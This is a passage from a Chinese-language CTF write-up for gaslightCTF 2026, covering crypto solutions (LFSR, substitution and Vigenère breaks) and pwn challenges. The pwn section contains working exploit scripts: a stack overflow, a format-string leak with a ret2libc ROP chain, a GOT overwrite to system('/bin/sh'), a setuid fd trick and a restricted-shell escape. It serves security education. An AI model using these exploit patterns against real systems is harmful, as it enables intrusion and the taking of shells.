 if check_limb(i, bp, bq): pin(p, bp); pin(q, bq); break

down-the-stream-1（364）— 8-bit LFSR：256 个 IV 爆破 Flag：gaslightCTF{d0nt-r3veal-y0ur-co3ff-v3ct0r}

第二轮开场 crypto。8-bit LFSR 同步流密码，反馈多项式公开。两个侦察结论钉死攻击面：next_register 每轮移位后 & 0xff 截断，状态空间只有 256；且 IV 若 > 0xff 会在 bytearray.append 处抛 ValueError——脚本根本跑不了，所以 IV 必在 [0, 255]。于是别急着推抽头，直接枚举 256 个 IV 各自重新生成密钥流解密，用 gaslightCTF{ 前缀过滤，唯一命中 IV = 0x8e。小状态流密码先想穷举。

📜 down-the-stream-1 solve.py（49 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49


#!/usr/bin/env python3
"""solve.py — down-the-stream-1

8-bit LFSR 流密码：next_register 每轮把寄存器左移 8 次并 & 0xff 截断，
状态空间仅 256。IV 若 > 0xff 会在 bytearray.append 处抛 ValueError，
故 IV 必落在 [0, 255]，直接暴力枚举并用已知明文前缀验证。
"""

CT_HEX = open(
 "output.txt"
).read().strip()
CT = bytes.fromhex(CT_HEX)
PREFIX = b"gaslightCTF{"


def next_register(register: int) -> int:
 for _ in range(8):
 feedback = (
 ((register >> 7) & 1)
 ^ ((register >> 5) & 1)
 ^ ((register >> 4) & 1)
 ^ ((register >> 3) & 1)
 )
 register = ((register << 1) | feedback) & 0xFF
 return register


def decrypt(ct: bytes, iv: int) -> bytes:
 register = iv
 pt = bytearray()
 pt.append(ct[0] ^ register)
 for i in range(1, len(ct)):
 register = next_register(register)
 pt.append(ct[i] ^ register)
 return bytes(pt)


def main() -> None:
 for iv in range(256):
 pt = decrypt(CT, iv)
 if pt.startswith(PREFIX):
 print(f"IV = {iv:#04x}")
 print(f"FLAG = {pt.decode(errors='replace')}")
 return
 print("no candidate found")


if __name__ == "__main__":
 main()

down-the-stream-2（388）— 16-bit LFSR：把抽头当未知数 Flag：gaslightCTF{st0p-rev3al1ng-4ll-the-pl4int3xts}

续作把状态扩到 16 bit（2^16 爆破不动），并且抽掉了 generate_feedback—— 反馈函数本身是未知的布尔函数。转折点是一个观察：16 步转移中，反馈位序列 f_0..f_15 恰好等于 r_{i+1} 的 16 个 bit（MSB 在前）。于是从 12 字节已知明文 “Hello, world” 还原出 6 个连续寄存器值后，不只是能差分出 96 个反馈位，还能 重建每段转移的全部中间状态——共 5×16 = 80 个 (16-bit 状态, 反馈位) 样本。把"反馈是线性 tap-XOR"当假设、16 个抽头系数当未知数，80 个方程 GF(2) 高斯消元，解出 taps = [6, 9, 11, 12, 13, 15] 且全部样本自洽——假设成立。flag 密文前 2 字节直接还原 IV = 0x8ee8，恰好是前作 8-bit IV 0x8e 的回文（系列彩蛋），intercepted 密文回放双重验证。

📜 down-the-stream-2 solve.py（135 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135


#!/usr/bin/env python3
"""solve.py — down-the-stream-2 (gaslightCTF2026, crypto)

16-bit LFSR 流密码：next_register 每轮把寄存器左移 16 次，
feedback 位由未知的 generate_feedback(register) 生成（1 bit）。
对每 2 字节明文块，密文 = 明文 ^ 当前 16 位寄存器。

攻击链：
1. 已知明文 "Hello, world"（12 字节）与密文 XOR，还原出 6 个连续寄存器
 值 r0..r5（r_{i+1} = next_register(r_i)）。
2. 每段 16 步转移中，反馈位序列 f_0..f_15 恰好等于 r_{i+1} 的 16 个 bit
 （MSB 在前），据此重建出 80 个 (状态, 反馈位) 样本及全部中间状态。
3. 假设 generate_feedback 为线性（抽头 bit XOR）：对 80 个样本在 GF(2)
 上高斯消元解 16 个抽头系数。本题解出 taps = [6,9,11,12,13,15]，
 全部 80 个样本自洽，故反馈函数为 XOR(bit6,bit9,bit11,bit12,bit13,bit15)。
4. flag 明文以 "gaslightCTF{" 开头，前 2 字节即可还原 IV（恰与
 intercepted 相同，0x8ee8），随后用恢复的 LFSR 整体解密并校验前缀。

用法: python3 solve.py
"""

import os

HERE = os.path.dirname(os.path.abspath(__file__))

with open(os.path.join(HERE, "intercepted.txt")) as f:
 PT = f.readline().strip().encode()
 CT_HEX = f.readline().strip()
with open(os.path.join(HERE, "output.txt")) as f:
 FLAG_CT = bytes.fromhex(f.read().strip())

CT = bytes.fromhex(CT_HEX)


def recover_registers(pt: bytes, ct: bytes) -> list[int]:
 regs = []
 for i in range(0, len(pt), 2):
 regs.append((ct[i] ^ pt[i]) << 8 | (ct[i + 1] ^ pt[i + 1]))
 return regs


def build_samples(regs: list[int]) -> list[tuple[int, int]]:
 """从相邻寄存器对重建 16 步转移的 (状态, 反馈位) 样本。

 反馈位序列 f_0..f_15（f_0 最先进入）满足
 r_{i+1} = sum f_k * 2^(15-k)，即 r_{i+1} 的 bit15..bit0 依次等于 f_0..f_15。
 """
 samples = []
 for a, b in zip(regs, regs[1:]):
 fb_bits = [(b >> (15 - k)) & 1 for k in range(16)]
 s = a
 for k in range(16):
 samples.append((s, fb_bits[k]))
 s = ((s << 1) | fb_bits[k]) & 0xFFFF
 return samples


def gauss_elim(A: list[list[int]], b: list[int]) -> list[int] | None:
 """GF(2) 高斯消元解 A x = b；无解返回 None。"""
 n = len(A[0])
 aug = [row[:] + [bv] for row, bv in zip(A, b)]
 pivots = []
 r = 0
 for c in range(n):
 piv = next((i for i in range(r, len(aug)) if aug[i][c]), None)
 if piv is None:
 continue
 aug[r], aug[piv] = aug[piv], aug[r]
 for i in range(len(aug)):
 if i != r and aug[i][c]:
 aug[i] = [x ^ y for x, y in zip(aug[i], aug[r])]
 pivots.append(c)
 r += 1
 for row in aug[r:]:
 if all(v == 0 for v in row[:-1]) and row[-1]:
 return None
 x = [0] * n
 for i, c in enumerate(pivots):
 x[c] = aug[i][-1]
 return x


def generate_feedback(register: int, taps: list[int]) -> int:
 b = 0
 for j in taps:
 b ^= (register >> j) & 1
 return b


def next_register(register: int, taps: list[int]) -> int:
 for _ in range(16):
 register = ((register << 1) | generate_feedback(register, taps)) & 0xFFFF
 return register


def decrypt(ct: bytes, iv: int, taps: list[int]) -> bytes:
 out = bytearray()
 reg = iv
 out.append(ct[0] ^ (reg >> 8))
 out.append(ct[1] ^ (reg & 0xFF))
 for i in range(2, len(ct), 2):
 reg = next_register(reg, taps)
 out.append(ct[i] ^ (reg >> 8))
 out.append(ct[i + 1] ^ (reg & 0xFF))
 return bytes(out)


def main() -> None:
 regs = recover_registers(PT, CT)
 samples = build_samples(regs)
 A = [[(s >> j) & 1 for j in range(16)] for s, _ in samples]
 b = [f for _, f in samples]
 x = gauss_elim(A, b)
 if x is None:
 raise SystemExit("线性假设不成立：样本在 GF(2) 上无解")

 taps = [j for j in range(16) if x[j]]
 assert all(
 (sum(((s >> j) & 1) * x[j] for j in range(16)) & 1) == f for s, f in samples
 ), "抽头解未通过全部样本自洽校验"
 print(f"taps = {taps}")

 # 校验：用恢复的 LFSR 重放 intercepted 密文
 assert decrypt(CT, regs[0], taps) == PT, "intercepted 回放失败"

 # flag 前缀还原 IV
 iv = (FLAG_CT[0] ^ ord("g")) << 8 | (FLAG_CT[1] ^ ord("a"))
 pt = decrypt(FLAG_CT, iv, taps)
 print(f"IV = {iv:#06x}")
 print(f"FLAG = {pt.decode(errors='replace')}")
 assert pt.startswith(b"gaslightCTF{") and pt.endswith(b"}"), "flag 校验失败"


if __name__ == "__main__":
 main()

no-info（392）— 纯密文：退火先破句子，QWERTY 才是答案 Flag：gaslightCTF{0b5cur1ty-41nt-n0t-s3curity}

唯一附件是一段 242 字节的小写英文句子密文，末行是 flag 样式的字母数字串—— 无源码、无密钥线索。词形模式侦察（vqlf'z 形如 ????'?、单字母词 O）确认是单表替换族；先手动猜 tcqhgkqzogf=information 发现重复字母位矛盾，排除手工路径。上模拟退火：Project Gutenberg 语料构建 quadgram + 词频模型，40 万轮置换搜索，收敛出 95% 正确的明文（“our friend from paris examined his empty glass…"），逐词对齐出完整映射——然后才发现映射的真面目是 QWERTY 键盘替换（明文字母按字母序位置取键盘序同下标字母，q→a, w→b, e→c...）。 flag 行 0w5exk1zn-41fz-f0z-l3exkozn 数字保留、字母同一映射解出 “obscurity aint not security”——flag 内容本身就是安全格言彩蛋。

📜 no-info solve.py（33 行，映射求解后的最终版）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


#!/usr/bin/env python3
"""gaslightCTF 2026 - no-info (crypto)

The ciphertext is a monoalphabetic substitution where each plaintext letter is
replaced by the letter at the same index in the QWERTY keyboard order:
 plaintext alphabet: a b c d e f g h i j k l m n o p q r s t u v w x y z
 ciphertext (QWERTY): q w e r t y u i o p a s d f g h j k l z x c v b n m
Digits/punctuation pass through unchanged.
"""
import re
import sys

QWERTY = "qwertyuiopasdfghjklzxcvbnm"
ALPHA = "abcdefghijklmnopqrstuvwxyz"
ENC = str.maketrans(ALPHA, QWERTY) # plaintext -> ciphertext
DEC = str.maketrans(QWERTY, ALPHA) # ciphertext -> plaintext

def main():
 ct = open(sys.argv[1] if len(sys.argv) > 1 else "output.txt").read().strip()
 print("=== decrypted text ===")
 print(ct.lower().translate(DEC))

 # the flag line: last line, digits kept, letters encrypted
 flag_line = [ln for ln in ct.splitlines() if ln.strip()][-1]
 inner = flag_line.lower().translate(DEC)
 print("\n=== decrypted flag line ===")
 print(inner)
 flag = "gaslightCTF{" + inner + "}"
 print("\nFLAG:", flag)
 return flag

if __name__ == "__main__":
 main()

📜 no-info solve_sub.py 退火核心（15 行节选，全文 79 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


T = 3.0
random.seed(42)
alpha = list(letters_alpha)
for it in range(400000):
 T = 3.0 * (0.9997 ** it)
 a, b = random.sample(alpha, 2)
 # swap plaintext values of a,b in perm
 pa, pb = perm[a], perm[b]
 perm[a], perm[b] = pb, pa
 ns = score(perm)
 if ns > best_score or random.random() < math.exp((ns - best_score)/T):
 if ns > best_score:
 best_score = ns; best_perm = dict(perm)
 else:
 perm[a], perm[b] = pa, pb

Where the dream starts 3（404）— 位置递增的 Vigenère，先消位置项 Flag：gaslightCTF{theindecipherablecipher}

同家族第三作：ct[i] = (pt[i] + key[i%m] + (i//m)) % 26，比标准 Vigenère 多了一个位置递增项，题面点名 Friedman 与 Kasiski。Kasiski 三连字重复间隔 gcd=1，长文本重复片段太稀疏，此路不通。转 IC：对每个候选 m 先减去已知项 i//m，剩下的 d[i] = pt[i] + key[i%m] 是纯 Vigenère——这一步把"密钥周期"与"位置递增"解耦。按余数类分组算 IC，m=5 峰值 0.0608（英文 IC≈0.065），其余 m 全在 0.034–0.048。m 定了之后每个 key 位对 26 个候选字母做卡方拟合（期望分布=英文词频），逐位解出 d r e a m——与标题呼应。明文是 Kekulé 苯环结构之梦的著名自述，结尾一句自述 flag：“the flag is the indecipherable cipher”（Vigenère 的历史绰号 le chiffre indéchiffrable）。

📜 where-the-dream-starts-3 solve.py（72 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72


#!/usr/bin/env python3
"""Where the dream starts 3 — solve script.

Cipher: ct[i] = (pt[i] + key[i % m] + (i // m)) % 26 (m and key unknown)

Plan:
1. Guess m by Friedman's index of coincidence on d[i] = ct[i] - (i//m) mod 26.
 Correct m makes each residue class a monoalphabetic substitution of English
 -> average IC ~0.065. Here m = 5 (IC 0.0608).
2. With m fixed, d[i] = pt[i] + key[i % m] is plain Vigenere; solve each key
 position by chi-squared fit against English letter frequencies.
 -> key = "dream"
3. Decrypt and read the plaintext; the flag statement is in the plaintext.
"""
from string import ascii_lowercase
from collections import Counter
import math

ct = open('output.txt').read().strip()
n = len(ct)
cvals = [ascii_lowercase.index(c) for c in ct]

# --- step 1: find key length via Friedman IC ---
def ic(vals):
 cnt = Counter(vals)
 L = len(vals)
 if L < 2:
 return 0.0
 return sum(v * (v - 1) for v in cnt.values()) / (L * (L - 1))

best = (0, None)
for m in range(1, 61):
 groups = [[] for _ in range(m)]
 for i in range(n):
 groups[i % m].append((cvals[i] - (i // m)) % 26)
 avg = sum(ic(g) for g in groups) / m
 if avg > best[0]:
 best = (avg, m)
m = best[1]
print(f'key length m = {m} (avg IC = {best[0]:.4f})')

# --- step 2: solve Vigenere key by chi-squared ---
FREQ = {'e': 12.7, 't': 9.06, 'a': 8.17, 'o': 7.51, 'i': 6.97, 'n': 6.75,
 's': 6.33, 'h': 6.09, 'r': 5.99, 'd': 4.25, 'l': 4.03, 'c': 2.78,
 'u': 2.76, 'm': 2.41, 'w': 2.36, 'f': 2.23, 'g': 2.02, 'y': 1.97,
 'p': 1.93, 'b': 1.49, 'v': 0.98, 'k': 0.77, 'j': 0.15, 'x': 0.15,
 'q': 0.10, 'z': 0.07}

d = [(cvals[i] - (i // m)) % 26 for i in range(n)]

def chi2(vals, k):
 dec = [(v - k) % 26 for v in vals]
 cnt = Counter(dec)
 L = len(vals)
 return sum((cnt.get(ascii_lowercase.index(ch), 0) - L * p / 100) ** 2 / (L * p / 100)
 for ch, p in FREQ.items())

key = []
for j in range(m):
 vals = [d[i] for i in range(j, n, m)]
 key.append(min(range(26), key=lambda k: chi2(vals, k)))
keyword = ''.join(ascii_lowercase[k] for k in key)
print(f'keyword = "{keyword}"')

# --- step 3: decrypt ---
pt = ''.join(ascii_lowercase[(d[i] - key[i % m]) % 26] for i in range(n))
print(pt)

# flag statement in the plaintext
i = pt.find('theflagis')
print('\nflag hint:', pt[i:])
print('FLAG = gaslightCTF{' + pt[i + len('theflagis'):] + '}')

Pwn（5/5）

ram-conservation（354）— glob 传参 + uudecode 写文件 Flag：gaslightCTF{b3w4r3_th3_r4mp0calys3_fc1a12d25fe6}

受限 shell 只执行输入的第一个词（空格/TAB 都拆），还过滤危险命令。三条小事实拼成链：$cmd 不带引号时 glob 在展开阶段生效，能把文件名当参数传； uudecode 的 begin 755 x 头 mode 可控，能从 stdin 写出可执行文件；bash 对 “有 x 位但不是二进制"的文件自动当脚本解释（ENOEXEC 回退）。执行本地文件要写 ./x——bash 的 PATH 查找不含 cwd，这是调试时踩过的坑。

📜 ram-conservation 最小 POC（3 行）——点击展开

1
2
3


payload = uuencode(script, 0o755, "x") # 把 bash 脚本 uu 编码
s.sendall(b"uudecode\n"); s.sendall(payload)
s.sendall(b"./x\n") # 执行（PATH 里没有 cwd，要 ./）

badcat（447）— setuid cat 的 fd 复用 Flag：gaslightCTF{f3l1n3_d3scr1pt0r_m30www_4d08bc16c461}

/bin/badcat 是 setuid root 的 cat。对着"peek 硬编码读 8 字节"找了一下午内存破坏无果，回退到"程序有哪些系统调用、谁改变了什么全局状态"的清单式排查才看到真相是 fd 生命周期：slurp(0) 读完 stdin 会 close(0)；/flag 的 root open() 拿到最低空闲 fd=0 且从不 close，读 8 字节后偏移停在 8。于是 - 关 0 → /flag 让 root open 抢到 fd 0（读 8 字节）→ 再 - 从偏移 8 把剩余 43 字节读出来。权限只在 open 时校验，已开的 fd 降权后照读。

📜 badcat 最小 POC（3 行）——点击展开

1
2
3


badcat - /flag - < /dev/null
# psst, here's a sneak peek: gaslight
# CTF{f3l1n3_d3scr1pt0r_m30www_4d08bc16c461}

good-enough（453）— gut genug：gets 溢出 + ret 对齐 Flag：gaslightCTF{du_b1st_gut_g3nuuuuu_uuuuu_uuug_fb1ffbe73405}

第二轮 pwn 开门题，“有源码 pwn 标准链”：泄漏 → 计算 → 单发 payload。main 第一条 printf("[%p] du bist? ", main) 直接泄漏 PIE 基址；gets 读入 rbp-0x10 的 16 字节栈缓冲（无 canary），24 字节改写 saved RIP。两个坑： strncmp(buf, "gut genug", 9) 校验 payload 前 9 字节——payload 开头必须拼合法前缀（与题名 “good enough” 呼应）；直接跳 win() 时远程在 system 处静默断开——经典 movaps 栈对齐崩溃，payload 里先垫一个裸 ret gadget 对齐。（本地 qemu-user 里 lazy PLT binding 会崩是模拟器伪影，LD_BIND_NOW=1 正常。）

📜 good-enough solve.py（86 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86


#!/usr/bin/env python3
"""
gaslightCTF 2026 - good-enough (pwn, 453)

Vuln: gets() stack overflow into a 16-byte buffer (no canary, PIE).
Gate: strncmp(buf, "gut genug", 9) must pass on the FIRST 9 bytes -> prefix payload
 with "gut genug".
Leak: main() prints printf("[%%p] du bist? ", main) -> PIE base leak.
Win: win() at offset 0x1228 calls system("/bin/sh").

Payload layout (gets writes from rbp-0x10):
 buf[0:16] = "gut genug" + 7 junk
 rbp[16:24] = junk
 rip[24:32] = win

Usage: ./solve.py [host] [port] (defaults to local process)
"""
import re
import sys

from pwn import *

context.arch = "amd64"
context.log_level = "info"

HOST = None
PORT = None
SSL = False
if len(sys.argv) >= 3:
 HOST, PORT = sys.argv[1], int(sys.argv[2])
if len(sys.argv) >= 4 and sys.argv[3] == "ssl":
 SSL = True

BIN = "./good-enough"
MAIN_OFF = 0x1179
RET_OFF = 0x10E8 # ret gadget (deregister_tm_clones+0x28) for stack alignment
WIN_OFF = 0x1228


def main():
 if HOST:
 io = remote(HOST, PORT, ssl=SSL)
 else:
 io = process(BIN)

 # 1. grab the leak: "[<main addr>] du bist? " (no trailing newline)
 banner = io.recvuntil(b"du bist? ", timeout=8)
 log.info("banner: %r", banner)
 m = re.search(rb"\[(0x[0-9a-f]+)\]", banner)
 assert m, "no leak found"
 main_addr = int(m.group(1), 16)
 base = main_addr - MAIN_OFF
 ret = base + RET_OFF
 win = base + WIN_OFF
 log.success("main @ %#x, base @ %#x, ret @ %#x, win @ %#x", main_addr, base, ret, win)

 # 2. overflow: "gut genug" must be the first 9 bytes for strncmp to pass.
 # ret gadget first aligns rsp for system() (avoids movaps crash in glibc).
 payload = b"gut genug" + b"A" * 7 # 16 bytes fill buffer
 payload += b"B" * 8 # saved rbp
 payload += p64(ret) # saved rip -> ret gadget
 payload += p64(win) # -> win(): system("/bin/sh")
 log.info("payload (%d bytes): %r", len(payload), payload)
 io.sendline(payload)

 io.recvuntil(b"bleib einfach nur du", timeout=3)
 log.success("check passed, jumping to win()")

 # 3. shell
 if HOST:
 io.sendline(b"cat flag.txt; cat /flag; ls -la")
 else:
 io.sendline(b"cat flag.txt 2>/dev/null; id")
 try:
 io.sendline(b"echo PWNED_MARKER")
 out = io.recvall(timeout=5)
 log.info("output:\n%s", out.decode(errors="replace"))
 if b"PWNED_MARKER" in out:
 log.success("got shell")
 except Exception as e:
 log.warning("recv issue: %s", e)
 io.close()


if __name__ == "__main__":
 main()

ucas（470）— \x00\n 让 strlen 恒 0：字数门禁是纸老虎 Flag：gaslightCTF{m4n1f3st1ng_e4sy_0ff3r5_f0r_ev3ry0n3_c2e6b547e8b1}

“UCAS 申请文书"三连问，printf(name) 直接把 15 字符姓名当格式串—— %513$p%515$p 恰好 14 字符，canary（0x…00 结尾特征定位槽位）与 libc 返回地址一次到手。真正的转折在"字数门禁”：essay 用 fgets(buf, 0xfa0 - counter) 限长、counter += strlen(essay) 计数，而 fgets 读原始字节、strlen 遇 \0 截断——发 \x00\n 让 strlen 恒为 0，counter 永不增长，三段 essay 的 fgets 大小全部保持 0xfa0。essay3 缓冲只有 0x540，0xfa0 直接写穿 canary 和 saved RIP， ret2libc 收尾。（payload 里出现 0x0a 会被 fgets 截断，脚本自动重连重试，概率约 3%/次。）

📜 ucas solve.py（104 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104


#!/usr/bin/env python3
"""
gaslightCTF 2026 - ucas (pwn, ~470)

Vuln 1: printf(name) format string with a 16-byte name (fgets 0x10).
 -> leaks: %513$p = stack canary, %515$p = ret addr into
 __libc_start_call_main+0x75 (libc base = leak - 0x2b285).
Vuln 2: essays read with fgets(essay_i, 0xfa0 - counter) where
 counter += strlen(essay). Sending "\x00\n" makes strlen == 0, so the
 counter never grows and EVERY essay fgets still gets size 0xfa0.
 essay3's buffer is at rbp-0x540, so 0xfa0 bytes overflow way past
 the canary (rbp-0x8, offset 0x538) and saved RIP -> ret2libc.
Gate: the "too long" counter check is bypassed (counter stays ~1336) and
 main returns normally (canary restored), landing in our ROP chain.

Usage: ./solve.py <host> <port> [ssl]
 ./solve.py # local wrapper demo (127.0.0.1:19999)
"""
import re
import sys
import time

from pwn import *

context.arch = "amd64"
context.log_level = "info"

HOST, PORT, SSL = None, None, False
if len(sys.argv) >= 3:
 HOST, PORT = sys.argv[1], int(sys.argv[2])
if len(sys.argv) >= 4 and sys.argv[3] == "ssl":
 SSL = True

LIBC = "libc.so.6"
libc = ELF(LIBC)
SYSTEM = libc.symbols["system"] # 0x58860
BINSH = next(libc.search(b"/bin/sh")) # 0x1c3ed9
POP_RDI = 0xFC08D # pop rdi; ret
RET = 0x2930B # plain ret (stack alignment)
LIBC_RET_OFF = 0x2B285 # ret after `call main` in __libc_start_call_main
CANARY_POS, LIBCRET_POS = 513, 515 # format-string arg positions
OFFSET = 0x538 # essay3 buf (rbp-0x540) -> canary (rbp-0x8)


def attempt():
 if HOST:
 io = remote(HOST, PORT, ssl=SSL, timeout=8)
 else:
 io = remote("127.0.0.1", 19999, timeout=8)

 io.recvuntil(b"please enter your name: ", timeout=6)
 io.sendline(b"%513$p%515$p") # 14 bytes: canary + libc ret
 b = io.recvuntil(b"Why do you want", timeout=6)
 m = re.search(rb"welcome, (0x[0-9a-f]+)(0x[0-9a-f]+)", b)
 if not m:
 log.warning("leak parse failed: %r", b[:120])
 io.close()
 return None
 canary = int(m.group(1), 16)
 libc_base = int(m.group(2), 16) - LIBC_RET_OFF
 log.success("canary=%#x libc=%#x", canary, libc_base)

 chain = p64(libc_base + POP_RDI) + p64(libc_base + BINSH) \
 + p64(libc_base + RET) + p64(libc_base + SYSTEM)
 payload = b"A" * OFFSET + p64(canary) + b"B" * 8 + chain
 if b"\n" in payload: # fgets would truncate
 log.warning("0x0a byte in payload (canary), retrying new conn")
 io.close()
 return None

 io.send(b"\x00\n") # essay1: strlen == 0
 io.recvuntil(b"How have your qualifications", timeout=5)
 io.send(b"\x00\n") # essay2: strlen == 0
 io.recvuntil(b"What else have you done", timeout=5)
 io.send(payload + b"\n") # essay3: overflow
 io.recvuntil(b"clearing", timeout=6)
 io.sendline(b"echo PWNED_MARKER; cat flag; cat flag.txt; cat /flag; ls -la")
 try:
 out = io.recvall(timeout=6)
 except Exception as e:
 out = b""
 io.close()
 return out


def main():
 for i in range(8):
 out = attempt()
 if out is None:
 continue
 log.info("out:\n%s", out.decode(errors="replace"))
 if b"PWNED_MARKER" in out:
 log.success("got shell")
 m = re.search(rb"gaslightCTF\{[^}]+\}", out)
 if m:
 log.success("FLAG: %s", m.group(0).decode())
 sys.exit(0)
 time.sleep(1)
 log.failure("exploit failed after retries")
 sys.exit(1)


if __name__ == "__main__":
 main()

thirds（486）— 改 saved RIP 重进 main：格式串三轮不够就再来三轮 Flag：gaslightCTF{th1rd_t1m35_th3_ch4rm_1b807eeed8b1}

全场 pwn 压轴。三连 fgets(buf, 0x10) + printf(buf)，无栈溢出，每轮只有 15 字节可用。三个 printf 调用点 rsp 恒为 rbp-0x40，槽位映射完全相同（%8$=buf2[0:8]、%13$=canary、%15$=saved RIP(libc+0x2b285)、%19$=main 指针），远程泄漏直接证实。根本死结是最后一个 printf 之后没有触发点—— 直接改 printf@GOT 后没有下一次 printf 帮你调 system。破局：第一轮用 %8$hn 把 saved RIP 低 16 位改到 call [rbp-0x78]（libc+0x2b282），main 返回时重新调用 main（call 会把 0x2b285 重新压回 saved RIP 槽，第二轮结束后进程正常退出）；第二轮再用 %6$hn 写 printf@GOT → system，紧随的 printf("3> ") 变 system("3> ")（sh 语法错误无害），第三轮输入 /bin/sh 触发 system("/bin/sh")。

四个实战坑每个都值得记：① 泄漏输出后紧跟 2> 提示符，贪婪正则会把提示符的 2 吞进 V 的低半字节（saved rbp 16 对齐，v >>= 4 校验兜底）；② %hn 只能写目标低 16 位，落在 saved RIP 自己的 64K 窗口内，N 必须按 (libc+0x2b282)&0xffff 算进位，不是常数 0xb282；③ printf 与 system （0x5fb80 / 0x58860）只有落在同一 64K 窗口时低 16 位改写才成立——依赖 libc 基址低 16 位，约 55% 连接命中，不命中直接重连（ASLR 每次变化）；④ 平台 TLS 负载均衡按 SNI 路由，pwntools ssl=True 不发 SNI 直接被断，必须 server_hostname=<实例域名> 手工握手；%Nc 填充的 3~5 万空格先于一切输出，recv 要持续排空到超时。

📜 thirds solve.py（节选 129 行，全文 270 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129


#!/usr/bin/env python3
"""
gaslightCTF 2026 - thirds (pwn, ~486)

Binary: 3 rounds of fgets(buf, 0x10) + printf(buf), bufs at rbp-0x40/-0x30/-0x20.
At EVERY printf call site rsp = rbp-0x40, so the stack positional args are:
 %6$ = buf1[0:8] %7$ = buf1[8:16] %8$ = buf2[0:8] %9$ = buf2[8:16]
 %10$ = buf3[0:8] %11$ = buf3[8:16] %13$ = canary %14$ = saved rbp (V)
 %15$ = saved RIP (libc+0x2b285) %19$ = main ptr (PIE+0x1159)
(verified remotely: %15$p%19$p%14$p leaks libc/pie/V with handout offsets)

libc frame (glibc 2.42 handout): __libc_start_call_main does
 push rbp; mov rbp,rsp; sub rsp,0x90; ...; call [rbp-0x78] ; call main
 ... 0x2b285: mov edi,eax / call exit
so main_rbp = V - 0xA0 and the saved-RIP slot is at V - 0x98.

Attack (format-string only, no overflow):
 Run 1:
 R1: buf1 = "%15$p%19$p%14$p" -> leak libc, PIE, saved rbp V
 R2: buf2 = p64(V-0x98) + filler (write target = saved RIP address)
 R3: buf3 = "%8$45698c%8$hn" -> saved RIP low16 := 0xb282
 main returns -> ret to libc+0x2b282 (`call [rbp-0x78]`) -> main runs AGAIN
 (the call re-pushes 0x2b285 into the saved-RIP slot, so run 2 exits
 normally afterwards - we have our shell by then)
 Run 2:
 R1: buf1 = p64(printf@got) + filler (target for %6$ at printf(buf2))
 R2: buf2 = "%6$34912c%6$hn" -> printf@GOT low16 := 0x8860
 (system 0x58860 / printf 0x5fb80 share bytes 2+)
 then printf("3> ") = system("3> ") (syntax error, harmless)
 R3: buf3 = "/bin/sh\x00" -> printf(buf3) = system("/bin/sh") -> SHELL

Note: the platform LB routes by TLS SNI - connect with server_hostname=host.

Usage: ./solve.py <host> <port> [--probe]
"""
SYSTEM_OFF = 0x58860
PRINTF_OFF = 0x5fb80
RET_OFF = 0x2b285 # ret after `call main` in __libc_start_call_main
MAIN_OFF = 0x1159
PRINTF_GOT_OFF = 0x4008
LOOP_RIP = 0xb282 # low16 of libc+0x2b282 (call [rbp-0x78] -> main)

# ……（省略 Conn：带 SSL+SNI 的缓冲 socket 封装——pwntools ssl=True 不发 SNI，
# 平台 LB 按 SNI 路由，必须 server_hostname=host 手工握手）……


def send_chunk(io, data):
 """fgets(buf,0x10): reads up to 15 bytes, stops at \n; NUL-terminates.
 A chunk shorter than 15 bytes must end with \n to be consumed fully."""
 if len(data) >= 15:
 assert len(data) == 15, "chunk too long: %d" % len(data)
 io.send(data)
 else:
 io.send(data + b"\n")


def round1_leak(io):
 io.recvuntil(b"1> ", timeout=8)
